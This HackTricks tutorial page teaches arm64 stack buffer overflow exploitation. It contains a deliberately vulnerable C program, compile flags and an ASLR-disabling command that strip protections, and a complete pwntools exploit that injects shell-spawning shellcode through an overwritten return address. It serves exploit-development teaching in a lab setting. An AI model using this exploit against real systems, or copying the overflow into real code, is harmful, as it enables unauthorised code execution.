Stack Shellcode - arm64 - HackTricks

# Stack Shellcode - arm64

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Find an introduction to arm64 in:

Introduction to ARM64v8

## Code

    #include <stdio.h>
    #include <unistd.h>

    void vulnerable_function() {
        char buffer[64];
        read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
    }

    int main() {
        vulnerable_function();
        return 0;
    }

Compile without pie, canary and nx:

    clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

## No ASLR & No canary - Stack Overflow

To stop ASLR execute:

    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

To get the offset of the bof check this link.

Exploit:

    from pwn import *

    # Load the binary
    binary_name = './bof'
    elf = context.binary = ELF(binary_name)

    # Generate shellcode
    shellcode = asm(shellcraft.sh())

    # Start the process
    p = process(binary_name)

    # Offset to return address
    offset = 72

    # Address in the stack after the return address
    ret_address = p64(0xfffffffff1a0)

    # Craft the payload
    payload = b'A' * offset + ret_address + shellcode

    print("Payload length: "+ str(len(payload)))

    # Send the payload
    p.send(payload)

    # Drop to an interactive session
    p.interactive()

The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).

I opened the generated `core` file (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.